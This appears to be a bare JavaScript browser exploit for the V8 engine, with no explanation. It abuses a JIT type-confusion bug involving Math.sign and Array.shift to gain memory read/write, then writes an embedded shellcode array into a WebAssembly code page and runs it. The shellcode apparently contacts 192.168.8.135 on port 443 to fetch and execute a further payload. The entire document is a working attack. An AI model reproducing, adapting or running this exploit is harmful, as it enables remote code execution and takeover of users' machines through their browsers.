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| function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode = [0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xe9,0x93,0x00,0x00,0x00,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xbb,0x01,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x79,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x32,0xc0,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0xba,0x1f,0x00,0x00,0x00,0x6a,0x00,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x41,0xb9,0x04,0x00,0x00,0x00,0x41,0xba,0x75,0x46,0x9e,0x86,0xff,0xd5,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xb3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0x82,0xff,0xff,0xff,0x2f,0x76,0x4e,0x4f,0x4a,0x00,0x7b,0x2d,0x7f,0xd9,0x96,0xf3,0xa8,0x38,0x62,0x6b,0x2b,0xb1,0x19,0xfd,0x1f,0xba,0xbb,0x8e,0x4a,0x01,0x20,0xa2,0xcb,0x08,0xf9,0x16,0x7e,0xa3,0x4f,0x24,0x27,0x1e,0xa4,0xce,0xd1,0x28,0x95,0x68,0xb8,0xbf,0x8d,0xf8,0x16,0x7e,0x00,0x4b,0xc3,0x2b,0x93,0x17,0xc7,0x9f,0x36,0x28,0x80,0x65,0xea,0x88,0x02,0xcf,0x94,0xcd,0x9e,0x19,0x43,0x89,0x70,0x21,0xd5,0x90,0xb7,0xbc,0x59,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x39,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x57,0x4f,0x57,0x36,0x34,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x35,0x2e,0x30,0x3b,0x20,0x42,0x4f,0x49,0x45,0x39,0x3b,0x53,0x56,0x53,0x45,0x29,0x0d,0x0a,0x00,0xf6,0xed,0x69,0xaf,0x1b,0xd2,0x83,0xe6,0xc0,0x44,0x9b,0xd9,0x1f,0x9e,0xf3,0x07,0x3f,0xaf,0x4d,0xf8,0xc8,0x0e,0x84,0xb8,0xad,0x53,0xdc,0x80,0xd4,0xc6,0xfc,0xde,0xa0,0xa7,0xc3,0x7f,0x73,0x63,0x78,0xd5,0xd9,0xa5,0x96,0xc6,0x94,0xa0,0xc5,0xdc,0xbd,0x3d,0x0d,0x90,0x7b,0xa6,0x84,0xb5,0xe3,0xad,0x82,0x7d,0xa0,0x16,0xed,0xef,0x03,0x1c,0x86,0x8c,0xbc,0x06,0x17,0xf8,0x13,0x3a,0xd8,0x8f,0x90,0x06,0x8f,0xca,0x84,0xad,0x17,0x9b,0xf1,0x90,0x58,0x59,0x41,0x8a,0xd3,0x7d,0x65,0xab,0x7e,0xce,0xa9,0x1d,0xbb,0x42,0x75,0x50,0x34,0x89,0x13,0x57,0x6e,0x42,0xd8,0xd3,0x24,0xf8,0x6e,0x55,0x79,0x33,0xd6,0xc1,0x26,0xf6,0xf0,0x9a,0x4a,0x3c,0x56,0xc6,0xc1,0x8a,0x63,0x29,0x3c,0x6e,0xc7,0x4d,0xf4,0x27,0xed,0x88,0x55,0x7e,0x4b,0x11,0x53,0x85,0x80,0x64,0x3f,0xbe,0x9c,0x4f,0x64,0xef,0x3d,0xc1,0x42,0xf1,0x8e,0x44,0x1b,0x08,0x95,0x91,0xbb,0x64,0xac,0x8b,0x3f,0x86,0x99,0xf5,0xbb,0xe4,0xb3,0x36,0x66,0xc0,0x4a,0x82,0xb1,0x51,0x85,0xe8,0xfa,0xd4,0x9c,0x40,0xaf,0x2b,0x5c,0x6d,0xb5,0xdf,0xae,0xbc,0xd4,0x69,0x78,0x6c,0xa7,0xdd,0x13,0x27,0xbc,0x30,0x1c,0x29,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x7f,0xfd,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x38,0x2e,0x31,0x33,0x35,0x00,0x17,0x50,0x65,0xea];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
|
